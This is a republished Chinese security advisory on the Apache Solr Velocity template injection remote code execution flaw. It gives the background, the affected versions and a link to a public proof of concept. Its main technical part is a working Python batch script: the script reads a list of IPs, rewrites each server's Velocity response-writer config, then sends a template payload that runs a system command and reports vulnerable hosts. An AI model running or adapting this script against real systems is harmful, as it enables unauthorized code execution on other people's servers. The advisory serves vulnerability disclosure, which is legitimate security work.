专栏首页鸿鹄实验室漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

【漏洞预警 】Apache Solr Velocity 模板远程代码执行漏洞

ps:由于昨天推文次数已经用完,所以没有即时推送,今天补上

0x00背景介绍

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员s00py在Github上公开了Apache Solr Velocity的服务端模板注入漏洞的POC

文档名称

Apache Solr Velocity模板远程代码执行漏洞预警

关键字

Apache Solr,Velocity模板,远程代码执行漏洞

发布日期

2019年10月31日

0x01漏洞描述

Apache Solr是默认集成了VelocityResponseWriter这个插件,插件的初始化过程中params.resource.loader.enabled,程序默认设置是false。攻击者在可以访问Solr控制台时,可以通过发送/节点名称/config的POST请求的方式对该项配置进行更改,当该配置被更改为true时用户将被允许通过设置请求中的参数来指定加载相关的资源,攻击者可以通过此功能构造恶意请求。

Solr集成的VelocityResponseWriter组件,可以允许攻击者构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,从而导致Velocity模版注入远程命令执行漏洞。目前漏洞处于0day状态,并且EXP已被公开。

0x02漏洞等级

高危

0x03受影响版本

经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。但是目前无法确定出现问题的API是何时引入,所以预估是影响全版本。

0x04 POC地址

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

0x05 漏洞批量脚本

import requests, time

def first_send(url):
    url = url + "/solr/test/config"
    data = {
        "update-queryresponsewriter": {
            "startup": "lazy",
            "name": "velocity",
            "class": "solr.VelocityResponseWriter",
            "template.base.dir": "",
            "solr.resource.loader.enabled": "true",
            "params.resource.loader.enabled": "true"
        }
    }
    res = requests.post(url, data=data)

def last_send(url):
    url = url + "/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    res = requests.get(url)
    return res

if __name__ == '__main__':
    with open("ip.txt", "r+") as f:
        urls = f.readlines()
    for url in urls:
        if ("http://" not in url) and ("https://" not in url):
            print("正在验证url:%s" % url)
            url = "http://" + url
            try:
                first_send(url)
                text = last_send(url).text
            except:
                continue
            if ("uid=" in text) and ("gid=" in text) and ("groups=" in text):
                print("%s存在漏洞" %url)
                print(text)
            time.sleep(2)

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【漏洞预警】Apache Solr Velocity远程代码执行漏洞处置手册

    10月30日,@_S00pY公开了Apache Solr 远程代码执行漏洞的利用方式,攻击者可通过Velocity模板实现远程代码执行。经测试,该漏洞可以成功触...

    绿盟科技安全情报
  • Apache Solr 漏洞复现

    Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558) 漏洞描述

    黑白天安全
  • 漏洞预警:Apache Solr 远程代码执行漏洞

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件...

    Khan安全团队
  • 【漏洞预警】Apache Solr远程代码执行漏洞(CVE-2019-12409)预警通告

    当地时间11月18日,Apache Solr官方发布通告披露了一个远程代码执行漏洞(CVE-2019-12409),此漏洞因solr.in.sh配置文件中的EN...

    绿盟科技安全情报
  • 【漏洞预警】Apache Solr 远程代码执行漏洞(CVE-2019-0193)预警通告

    近日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler中...

    绿盟科技安全情报
  • Apache Solr Velocity模版注入远程命令执行漏洞复现以及 POC 编写

    19 年 10 月 31 日,安全研究员 S00pY 在 GitHub 发布了 ApacheSolr Velocity 模版注入远程命令执行的 POC,经过其他...

    信安之路
  • Apache Solr RCE

    10⽉30⽇,国外研究⼈员S00pY,公开了Apache Solr的命令执⾏漏洞的利⽤⽅式。经验证,漏洞可以成功触发,官⽅暂未发布补丁。

    贝塔安全实验室
  • Apache Solr漏洞总结

    Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunEx...

    黑白天安全
  • Apache Solr Velocity模板注入RCE漏洞复现

    当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

    7089bAt@PowerLi
  • [漏洞预警]Apache之Solr Velocity模板远程代码执行

        最近几日,某国外安全研究员"s00py"公开了一个Apache Solr的Velocity模板注入的漏洞.经过圈里大佬们研究,发现该0day漏洞存在,并...

    洛米唯熊
  • 漏洞预警丨Fastjson远程代码执行漏洞

    Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到...

    FB客服
  • 漏洞预警 | Fastjson远程代码执行0day漏洞

    前段时间,阿里云云盾应急响应中心监测到FastJSON存在0day漏洞,攻击者可以利用该漏洞绕过黑名单策略进行远程代码执行。

    程序IT圈
  • 【漏洞预警】Apache Tomcat远程代码执行漏洞(CVE-2019-0232)预警通告

    4月11日,Apache官方发布安全通告,由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

    绿盟科技安全情报
  • 【漏洞预警】Apache Axis远程代码执行漏洞处置手册

    近日,绿盟科技安全团队通过全流量威胁分析平台(TAM)发现Apache Axis远程命令执行漏洞,攻击者可通过发送精心构造的恶意 HTTP-POST 请求,获得...

    绿盟科技安全情报
  • CVE-2020-13957:Apche Solr 未授权上传漏洞复现

    上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrV...

    Timeline Sec
  • Solr Velocity模板远程命令执行漏洞+反弹shell

    默认端口是8983,我们访问这个地址,然后在core admin中找到了alice

    字节脉搏实验室
  • Apache Solr Velocity模版注入远程命令执行漏洞复线

    Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用X...

    墙角睡大觉
  • Apache Solr最新RCE漏洞分析

    Apache Solr爆出RCE 0day漏洞(漏洞编号未给出),这里简单的复现了对象,对整个RCE的流程做了一下分析,供各位看官参考。

    FB客服
  • 【漏洞预警】Apache Axis远程代码执行0day漏洞处置手册

    近日,绿盟科技安全团队通过全流量威胁分析平台(TAM)发现APACHE AXIS 远程命令执行漏洞,攻击者可通过发送精心构造的恶意 HTTP-POST 请求,获...

    绿盟科技安全情报

扫码关注云+社区

领取腾讯云代金券